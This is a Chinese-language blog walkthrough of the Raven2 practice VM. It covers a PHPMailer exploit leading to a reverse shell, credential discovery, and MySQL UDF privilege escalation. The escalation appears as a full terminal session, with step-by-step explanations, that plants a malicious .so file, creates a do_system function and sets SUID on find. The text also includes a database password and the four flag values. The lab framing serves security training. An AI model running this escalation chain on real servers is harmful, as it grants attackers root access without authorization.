免责声明
本博客文章仅供教育和研究目的使用。本文中提到的所有信息和技术均基于公开来源和合法获取的知识。本文不鼓励或支持任何非法活动,包括但不限于未经授权访问计算机系统、网络或数据。
作者对于读者使用本文中的信息所导致的任何直接或间接后果不承担任何责任。包括但不限于因使用本文所述技术而可能导致的法律诉讼、财产损失、隐私泄露或其他任何形式的责任。
在进行任何渗透测试或安全研究之前,请确保您已获得所有必要的授权,并遵守适用的法律和道德准则。未经授权的安全测试可能违反法律,并可能导致严重的法律后果。
本文中的内容仅供参考,不应被视为专业建议。在进行任何安全相关活动之前,建议咨询具有相应资质的专业人士。
作者保留对本博客文章的所有权利,并有权在未经通知的情况下进行修改或删除。
0x01 环境简介与环境搭建
0x01-1 机器简介
序号 | 服务器 | 角色 | 操作系统 | 处理器架构 | IPv4地址 |
1 | Kali Linux | 渗透服务器 | Linux | x64 | 192.168.162.11 |
2 | Raven2 | ? | ? | ? | ? |
0x01-2 行动目标
1 => 黑盒测试
2 => 得到机器中的 4 个 flag
3 => 使用 UDF 进行提权
0x02 探索发现阶段
0x02-1 主机发现
0x02-2 端口扫描
0x02-3 服务探测
根据服务探测结果,可知该服务器对外开放了一个 HTTP 服务端口,尝试访问服务器 Web 服务
根据浏览器插件 Wappalyzer 可以得出,该 Web 服务器是由 WordPress 内容管理系统搭建的;服务器后端所使用的编程语言为 PHP,版本为 5.5.38;操作系统为 Linux 的发行版 Debian;Web 服务器为 Apache。页面中有几个导航栏,尝试访问收集更多的信息
发现该页面存在一个类似于留言板的功能,猜测可能会存在 XSS 注入漏洞
0x03 入侵和感染阶段
0x03-1 对 Web 服务进行目录扫描
出现了任意文件读取的情况,属于信息泄露
得到 flag1
网站还使用了 PHPMailer 组件
版本应该为 5.2.16
0x03-2 查询有关 PHPMailer 组件的历史漏洞
0x03-2.1 使用 MSF 进行查询
0x03-2.2 使用 Google 进行查询
0x03-3 配置脚本信息
0x03-3.1 将脚本拷贝一份进行修改
0x03-3.2 修改脚本信息
0x03-3.3 执行脚本
0x03-4 监听端口获取反弹 shell
0x03-4.1 监听 4444 端口
0x03-4.2 访问 re.php 文件
0x03-4.3 查看当前权限以及网络信息
发现当前服务器只有一张网卡,不存在内网环境,只需要将当前服务器权限提升至 root 权限,查找 flag 即可
0x03-4.4 查看网站根目录
查看目录下配置文件是否存在
查看配置文件内容
0x04 攻击和利用阶段
0x04-1 尝试登录数据库
进入数据库后需要收集一些数据库信息,只有掌握了足够多的信息,才能使渗透过程更加顺利
select database(); # 查询当前数据库
select version(); # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
select @@version_compile_os; # 数据库所在的操作系统版本
select user,host from mysql.user where user='root' # 查看数据库是否开启了远程连接
show variables like '%plugin%'; # 查看 plugin 路径
show global variables like 'secure%'; # secure_file_priv 值是否为空
0x04-1.1 查询是否开启 MySQL 远程连接
MySQL 数据库不允许远程连接,因此不能使用 MSF 进行提权
0x04-1.2 查询 MySQL 版本
0x04-1.3 查询 plugin 路径
0x04-1.4 查询 secure_file_priv 值是否为空
secure_file_priv 值为空,说明可以导出表中的数据
0x04-2 查看 MySQL 数据库进程
MySQL 数据库运行权限为 root
0x04-3 使用脚本配合 UDF 提权
0x04-3.1 使用 MSF 中 UDF 提权脚本
0x04-3.1.1 查询脚本
0x04-3.1.2 拷贝脚本
查看该文件有使用说明
0x04-3.2 编译 c 文件
0x04-3.3 将 udfup.so 文件保存至目标服务器
0x04-3.3.1 在 Kali 上开启 HTTP 服务
0x04-3.3.2 下载 Kali 上的 udfup.so 文件
为了避免行动动静太大,将 udfup.so 文件移动至目标服务器的 /tmp 目录下
0x04-3.4 进行 UDF 提权
www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecuritymysql -uroot -pR@v3nSecurityWelcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 38Server version: 5.5.60-0+deb8u1 (Debian)Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> use mysql;use mysql;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql> create table udfup(line blob);create table udfup(line blob);Query OK, 0 rows affected (0.01 sec)mysql> insert into udfup values(load_file('/tmp/udfup.so'));insert into udfup values(load_file('/tmp/udfup.so'));Query OK, 1 row affected (0.01 sec)mysql> select * from udfup into dumpfile '/usr/lib/mysql/plugin/udfup.so';select * from udfup into dumpfile '/usr/lib/mysql/plugin/udfup.so';Query OK, 1 row affected (0.01 sec)mysql> create function do_system returns integer soname 'udfup.so';create function do_system returns integer soname 'udfup.so';Query OK, 0 rows affected (0.00 sec)mysql> select * from mysql.func;select * from mysql.func;+-----------+-----+----------+----------+| name | ret | dl | type |+-----------+-----+----------+----------+| do_system | 2 | udfup.so | function |+-----------+-----+----------+----------+1 row in set (0.00 sec)mysql> select do_system('chmod u+s /usr/bin/find');select do_system('chmod u+s /usr/bin/find');+--------------------------------------+| do_system('chmod u+s /usr/bin/find') |+--------------------------------------+| 0 |+--------------------------------------+1 row in set (0.00 sec)mysql>
SQL 语句解释
create table udfup(line blob);
作用:创建一张名为 udfup 的表,其中包含一个字段 line,类型为 BLOB(二进制大对象)
目的:用于临时存储动态链接库(.so 文件)的内容
insert into udfup values(load_file('/tmp/udfup.so'));
作用:通过 load_file 函数将 /tmp/udfup.so 文件的内容读取并插入到 udfup 表中
目的:将目标系统中的动态链接库文件加载到数据库中,为后续操作做准备
select * from udfup into dumpfile '/usr/lib/mysql/plugin/udfup.so';
作用:将 udfup 表中的内容导出到文件 /usr/lib/mysql/plugin/udfup.so
目的:在 MySQL 插件目录中放置恶意的 UDF 动态链接库文件(.so 文件)。此文件后续会被 MySQL 加载,执行任意系统命令
create function do_system returns integer soname 'udfup.so';
作用:创建一个名为 do_system 的 UDF 函数,该函数通过加载 udfup.so 动态链接库实现
目的:定义一个可以在 SQL 中调用的函数,用于执行任意系统命令
select * from mysql.func;
作用:查看 MySQL 的函数表 mysql.func,列出当前所有定义的 UDF 函数
目的:确认恶意函数 do_system 是否成功创建
select do_system('chmod u+s /usr/bin/find');
作用:调用 do_system 函数,在目标系统上执行命令 chmod u+s /usr/bin/find
目的:将 find 命令设置为 SUID 位(即具有 root 权限),后续攻击者可以利用 find 命令以 root 权限执行任意命令,进一步提权
接下来就可以使用 find 命令执行系统命令
进入 root 权限的 sh 环境并查找 flag 文件
至此,目标服务器上的 4 个 flag 已经全部获取
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
flag2{6a8ed560f0b5358ecf844108048eb337}
flag3{a0f568aa9de277887f37730d71520d9b}
flag4{df2bc5e951d91581467bb9a2a8ff4425}